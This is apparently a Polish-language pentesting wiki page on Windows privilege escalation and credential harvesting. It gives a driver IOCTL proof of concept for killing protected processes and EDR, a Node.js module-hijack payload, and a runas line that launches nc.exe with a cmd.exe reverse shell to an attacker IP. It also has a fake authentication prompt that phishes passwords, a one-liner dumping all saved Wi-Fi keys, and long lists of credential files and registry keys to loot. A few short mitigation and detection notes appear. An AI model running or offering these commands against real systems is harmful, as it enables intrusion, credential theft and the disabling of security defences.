Przeczytaj następną stronę, aby dowiedzieć się więcej o interesujących autoruns locations do eskalacji uprawnień:

Privilege Escalation with Autoruns

Drivers

Szukaj możliwych third party weird/vulnerable drivers

driverquery
driverquery.exe /fo table
driverquery /SI

Jeśli sterownik udostępnia dowolny kernel read/write primitive (częste w źle zaprojektowanych handlerach IOCTL), możesz eskalować, kradnąc token SYSTEM bezpośrednio z pamięci jądra. Zobacz technikę krok po kroku tutaj:

Arbitrary Kernel Rw Token Theft

W przypadku błędów race-condition, gdzie podatne wywołanie otwiera ścieżkę Object Manager kontrolowaną przez atakującego, celowe spowolnienie lookup (używając komponentów o maksymalnej długości lub głębokich łańcuchów katalogów) może wydłużyć okno z mikrosekund do dziesiątek mikrosekund:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

Nowoczesne podatności hive pozwalają groom deterministyczne układy, nadużywać zapisywalnych potomków HKLM/HKU i zamieniać uszkodzenie metadanych w kernel paged-pool overflows bez własnego sterownika. Poznaj pełny łańcuch tutaj:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

Niektóre podpisane sterowniki firm trzecich tworzą swój device object z silnym SDDL przez IoCreateDeviceSecure, ale zapominają ustawić FILE_DEVICE_SECURE_OPEN w DeviceCharacteristics. Bez tej flagi secure DACL nie jest egzekwowany, gdy urządzenie jest otwierane przez ścieżkę zawierającą dodatkowy komponent, co pozwala każdemu nieuprzywilejowanemu użytkownikowi uzyskać handle, używając path namespace takiego jak:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (z rzeczywistego przypadku)

Gdy użytkownik może otworzyć urządzenie, uprzywilejowane IOCTLs udostępnione przez sterownik mogą być nadużyte do LPE i tampering. Zaobserwowane w praktyce możliwości:

  • Zwracanie handle z pełnym dostępem do dowolnych procesów (token theft / SYSTEM shell przez DuplicateTokenEx/CreateProcessAsUser).
  • Nieograniczony raw disk read/write (offline tampering, triki z boot-time persistence).
  • Zamykanie dowolnych procesów, w tym Protected Process/Light (PP/PPL), co pozwala na AV/EDR kill z user land przez kernel.

Minimalny wzorzec PoC (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigations for developers

  • Zawsze ustawiaj FILE_DEVICE_SECURE_OPEN podczas tworzenia obiektów device intended to be restricted by a DACL.
  • Waliduj context wywołującego dla uprzywilejowanych operacji. Dodaj checks PP/PPL przed zezwoleniem na zakończenie procesu lub zwracanie handle.
  • Ograniczaj IOCTLs (access masks, METHOD_*, walidacja input) i rozważ modele brokered zamiast bezpośrednich kernel privileges.

Detection ideas for defenders

  • Monitoruj user-mode opens podejrzanych nazw device (np. \ .\amsdk*) oraz konkretne sekwencje IOCTL wskazujące na abuse.
  • Wymuszaj Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) i utrzymuj własne listy allow/deny.

PATH DLL Hijacking

Jeśli masz write permissions inside a folder present on PATH możesz przejąć DLL ładowaną przez proces i escalate privileges.

Sprawdź permissions wszystkich folderów inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Aby uzyskać więcej informacji o tym, jak nadużyć ten check:

Writable Sys Path +Dll Hijacking Privesc

Node.js / Electron module resolution hijacking via C:\node_modules

To jest wariant Windows uncontrolled search path, który wpływa na aplikacje Node.js i Electron, gdy wykonują prosty import, taki jak require("foo"), a oczekiwany moduł jest missing.

Node rozwiązuje pakiety, przechodząc w górę drzewa katalogów i sprawdzając foldery node_modules w każdym katalogu nadrzędnym. Na Windows ten przebieg może dojść aż do root dysku, więc aplikacja uruchomiona z C:\Users\Administrator\project\app.js może ostatecznie sprawdzać:

  1. C:\Users\Administrator\project\node_modules\foo
  2. C:\Users\Administrator\node_modules\foo
  3. C:\Users\node_modules\foo
  4. C:\node_modules\foo

Jeśli low-privileged user może utworzyć C:\node_modules, może podłożyć złośliwy foo.js (lub folder pakietu) i czekać, aż higher-privileged Node/Electron process rozwiąże brakującą zależność. Payload wykonuje się w kontekście bezpieczeństwa procesu ofiary, więc staje się to LPE zawsze, gdy cel działa jako administrator, z podniesionego scheduled task/service wrapper, albo z automatycznie uruchamianej uprzywilejowanej aplikacji desktopowej.

Jest to szczególnie częste, gdy:

  • zależność jest zadeklarowana w optionalDependencies
  • biblioteka firm trzecich owija require("foo") w try/catch i kontynuuje po błędzie
  • pakiet został usunięty z buildów produkcyjnych, pominięty podczas pakowania albo nie udało się go zainstalować
  • podatny require() znajduje się głęboko w drzewie zależności, a nie w głównym kodzie aplikacji

Hunting vulnerable targets

Użyj Procmon, aby potwierdzić ścieżkę resolution:

  • Filtruj po Process Name = proces docelowy (node.exe, EXE aplikacji Electron albo proces wrappera)
  • Filtruj po Path contains node_modules
  • Skup się na NAME NOT FOUND i końcowym udanym otwarciu pod C:\node_modules

Przydatne wzorce code-review w rozpakowanych plikach .asar lub źródłach aplikacji:

rg -n 'require\\("[^./]' .
rg -n "require\\('[^./]" .
rg -n 'optionalDependencies' .
rg -n 'try[[:space:]]*\\{[[:space:][:print:]]*require\\(' .

Exploitation

  1. Zidentyfikuj brakującą nazwę pakietu z Procmon lub z analizy źródła.
  2. Utwórz katalog wyszukiwania root, jeśli jeszcze nie istnieje:
mkdir C:\node_modules
  1. Upuść moduł o dokładnie oczekiwanej nazwie:
// C:\node_modules\foo.js
require("child_process").exec("calc.exe")
module.exports = {}
  1. Wyzwól aplikację ofiary. Jeśli aplikacja spróbuje require("foo"), a legalny moduł jest nieobecny, Node może załadować C:\node_modules\foo.js.

Rzeczywiste przykłady brakujących opcjonalnych modułów pasujących do tego wzorca to bluebird i utf-8-validate, ale technique jest elementem wielokrotnego użytku: znajdź dowolny missing bare import, który uprzywilejowany proces Windows Node/Electron będzie rozwiązywać.

Detection and hardening ideas

  • Alert when a user creates C:\node_modules or writes new .js files/packages there.
  • Hunt for high-integrity processes reading from C:\node_modules\*.
  • Package all runtime dependencies in production and audit optionalDependencies usage.
  • Review third-party code for silent try { require("...") } catch {} patterns.
  • Disable optional probes when the library supports it (for example, some ws deployments can avoid the legacy utf-8-validate probe with WS_NO_UTF_8_VALIDATE=1).

Network

Shares

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

plik hosts

Sprawdź inne znane komputery zakodowane na sztywno w pliku hosts

type C:\Windows\System32\drivers\etc\hosts

Interfejsy sieciowe i DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Otwarte porty

Sprawdź z zewnątrz restricted services

netstat -ano #Opened ports?

Tabela routingu

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabela ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Reguły zapory

Sprawdź tę stronę po komendy związane z zaporą (lista reguł, tworzenie reguł, wyłączanie, wyłączanie…)

Więcej komend do enumeracji sieci tutaj

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binary bash.exe można też znaleźć w C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Jeśli uzyskasz użytkownika root, możesz nasłuchiwać na dowolnym porcie (za pierwszym razem, gdy użyjesz nc.exe do nasłuchiwania na porcie, GUI zapyta, czy nc powinien być dozwolony przez firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Aby łatwo uruchomić bash jako root, możesz spróbować --default-user root

Możesz eksplorować system plików WSL w folderze C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows Credentials

Winlogon Credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

Z https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault przechowuje poświadczenia użytkownika dla serwerów, stron internetowych i innych programów, które Windows może automatycznie logować użytkowników. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą teraz zapisywać swoje poświadczenia do Facebooka, Twittera, Gmaila itd., aby były automatycznie używane do logowania przez przeglądarki. Ale tak nie jest.

Windows Vault przechowuje poświadczenia, dzięki którym Windows może automatycznie logować użytkowników, co oznacza, że każda aplikacja Windows, która potrzebuje poświadczeń do dostępu do zasobu (serwera lub strony internetowej) może korzystać z tego Credential Managera i Windows Vault oraz używać podanych poświadczeń zamiast ciągłego wpisywania nazwy użytkownika i hasła.

Jeśli aplikacje nie współpracują z Credential Manager, nie sądzę, aby mogły używać poświadczeń dla danego zasobu. Jeśli więc Twoja aplikacja chce korzystać z vault, powinna w jakiś sposób komunikować się z credential manager i żądać poświadczeń dla tego zasobu z domyślnego storage vault.

Użyj cmdkey, aby wyświetlić zapisane poświadczenia na maszynie.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Następnie możesz użyć runas z opcją /savecred, aby skorzystać z zapisanych poświadczeń. Poniższy przykład wywołuje zdalny binarny plik przez udział SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Używanie runas z podanym zestawem poświadczeń.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.

DPAPI

Data Protection API (DPAPI) zapewnia metodę symetrycznego szyfrowania danych, wykorzystywaną głównie w systemie Windows do symetrycznego szyfrowania asymetrycznych kluczy prywatnych. To szyfrowanie wykorzystuje sekret użytkownika lub systemu, aby znacząco zwiększyć entropię.

DPAPI umożliwia szyfrowanie kluczy za pomocą klucza symetrycznego pochodzącego z sekretów logowania użytkownika. W scenariuszach obejmujących szyfrowanie systemowe wykorzystuje sekrety uwierzytelniania domenowego systemu.

Zaszyfrowane klucze RSA użytkownika, z użyciem DPAPI, są przechowywane w katalogu %APPDATA%\Microsoft\Protect\{SID}, gdzie {SID} reprezentuje Security Identifier użytkownika. Klucz DPAPI, znajdujący się razem z master key zabezpieczającym klucze prywatne użytkownika w tym samym pliku, zwykle składa się z 64 bajtów losowych danych. (Warto zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wylistowanie jego zawartości za pomocą polecenia dir w CMD, choć można to zrobić przez PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Możesz użyć mimikatz module dpapi::masterkey z odpowiednimi argumentami (/pvk lub /rpc), aby to odszyfrować.

credentials files chronione przez hasło master zwykle znajdują się w:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Możesz użyć mimikatz module dpapi::cred z odpowiednim /masterkey, aby odszyfrować.
Możesz wyodrębnić wiele DPAPI masterkeys z memory za pomocą modułu sekurlsa::dpapi (jeśli jesteś root).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials są często używane do zadań scripting i automatyzacji jako wygodny sposób przechowywania zaszyfrowanych poświadczeń. Poświadczenia są chronione przy użyciu DPAPI, co zazwyczaj oznacza, że mogą być odszyfrowane tylko przez tego samego użytkownika na tym samym komputerze, na którym zostały utworzone.

Aby odszyfrować PS credentials z pliku, który je zawiera, możesz zrobić:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Zapisane połączenia RDP

Możesz je znaleźć w HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
oraz w HKCU\Software\Microsoft\Terminal Server Client\Servers\

Ostatnio uruchamiane polecenia

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Remote Desktop Credential Manager

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Użyj modułu Mimikatz dpapi::rdg z odpowiednim /masterkey, aby odszyfrować dowolne pliki .rdg
Możesz wyekstrahować wiele DPAPI masterkeys z pamięci za pomocą modułu sekurlsa::dpapi w Mimikatz

Sticky Notes

Ludzie często używają aplikacji StickyNotes na stacjach roboczych Windows do zapisywania haseł i innych informacji, nie zdając sobie sprawy, że jest to plik bazy danych. Plik ten znajduje się w C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite i zawsze warto go przeszukać oraz przeanalizować.

AppCmd.exe

Zwróć uwagę, że aby odzyskać hasła z AppCmd.exe, musisz być Administratorem i uruchomić go na poziomie High Integrity.
AppCmd.exe znajduje się w katalogu %systemroot%\system32\inetsrv\.
Jeśli ten plik istnieje, możliwe jest, że skonfigurowano tam jakieś credentials, które można odzyskać.

Ten kod został wyekstrahowany z PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Sprawdź, czy C:\Windows\CCM\SCClient.exe istnieje .
Instalatory są uruchamiane z uprawnieniami SYSTEM, wiele z nich jest podatnych na DLL Sideloading (Info from https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Pliki i rejestr (poświadczenia)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Klucze hosta SSH Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

Klucze SSH w rejestrze

Prywatne klucze SSH mogą być przechowywane w kluczu rejestru HKCU\Software\OpenSSH\Agent\Keys, więc warto sprawdzić, czy znajduje się tam coś interesującego:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Jeśli znajdziesz jakiś wpis w tej ścieżce, to prawdopodobnie jest to zapisany klucz SSH. Jest on przechowywany w postaci zaszyfrowanej, ale można go łatwo odszyfrować za pomocą https://github.com/ropnop/windows_sshagent_extract.
Więcej informacji o tej technice tutaj: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Jeśli usługa ssh-agent nie działa i chcesz, aby uruchamiała się automatycznie przy starcie systemu, uruchom:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Wygląda na to, że ta technika nie jest już aktualna. Spróbowałem utworzyć kilka kluczy ssh, dodać je za pomocą ssh-add i zalogować się przez ssh do maszyny. Rejestr HKCU\Software\OpenSSH\Agent\Keys nie istnieje, a procmon nie zidentyfikował użycia dpapi.dll podczas uwierzytelniania kluczem asymetrycznym.

Pliki unattended

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Możesz też wyszukać te pliki za pomocą metasploit: post/windows/gather/enum_unattend

Przykładowa zawartość:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Kopie zapasowe SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Poświadczenia Cloud

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Szukaj pliku o nazwie SiteList.xml

Cached GPP Pasword

Wcześniej dostępna była funkcja, która umożliwiała wdrażanie niestandardowych lokalnych kont administratora na grupie maszyn za pomocą Group Policy Preferences (GPP). Jednak ta metoda miała poważne luki bezpieczeństwa. Po pierwsze, Group Policy Objects (GPOs), przechowywane jako pliki XML w SYSVOL, mogły być dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPPs, zaszyfrowane AES256 przy użyciu publicznie udokumentowanego domyślnego klucza, mogły zostać odszyfrowane przez dowolnego uwierzytelnionego użytkownika. Stwarzało to poważne ryzyko, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień.

Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie zbuforowane pliki GPP zawierające pole “cpassword”, które nie jest puste. Po znalezieniu takiego pliku funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera szczegóły dotyczące GPP i lokalizacji pliku, pomagając w identyfikacji i naprawie tej luki bezpieczeństwa.

Szukaj w C:\ProgramData\Microsoft\Group Policy\history lub w C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (przed W Vista) tych plików:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Aby odszyfrować cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Używanie crackmapexec do pozyskiwania haseł:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
type C:\Windows\Microsoft.NET\Framework644.0.30319\Config\web.config | findstr connectionString
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Przykład web.config z poświadczeniami:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Poświadczenia OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logi

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Poproś o credentials

Zawsze możesz poprosić użytkownika o wpisanie jego credentials albo nawet credentials innego użytkownika, jeśli myślisz, że może je znać (zauważ, że proszenie klienta bezpośrednio o credentials jest naprawdę ryzykowne):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Możliwe nazwy plików zawierających poświadczenia

Znane pliki, które jakiś czas temu zawierały hasła w clear-text lub Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Przeszukaj wszystkie zaproponowane pliki:
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Poświadczenia w RecycleBin

Powinieneś również sprawdzić Bin, aby poszukać w nim poświadczeń

Aby odzyskać hasła zapisane przez różne programy, możesz użyć: http://www.nirsoft.net/password_recovery_tools.html

W rejestrze

Inne możliwe klucze rejestru z poświadczeniami

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Wyodrębnij klucze openssh z registry.

Historia Browserów

Powinieneś sprawdzić dbs, w których są przechowywane hasła z Chrome lub Firefox.
Sprawdź też historię, zakładki i ulubione browserów, bo może tam są zapisane jakieś hasła.

Tools do wyciągania haseł z browserów:

Nadpisywanie COM DLL

Component Object Model (COM) to technologia wbudowana w system operacyjny Windows, która umożliwia intercommunication między komponentami software różnych języków. Każdy komponent COM jest identyfikowany przez class ID (CLSID), a każdy komponent udostępnia funkcjonalność przez jedną lub więcej interfaces, identyfikowanych przez interface IDs (IIDs).

Klasy i interfaces COM są zdefiniowane w registry pod HKEY\CLASSES\ROOT\CLSID oraz HKEY\CLASSES\ROOT\Interface odpowiednio. To registry jest tworzone przez połączenie HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Wewnątrz CLSID-ów tego registry możesz znaleźć podrzędny registry InProcServer32, który zawiera default value wskazującą na DLL oraz wartość o nazwie ThreadingModel, która może być Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) albo Neutral (Thread Neutral).

Zasadniczo, jeśli możesz nadpisać dowolny z DLL-i, które będą wykonywane, możesz escalate privileges, jeśli ten DLL będzie uruchomiony przez innego usera.

Aby dowiedzieć się, jak attackers używają COM Hijacking jako mechanizmu persistence, sprawdź:

COM Hijacking

Ogólne wyszukiwanie haseł w plikach i registry

Wyszukaj zawartość plików

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
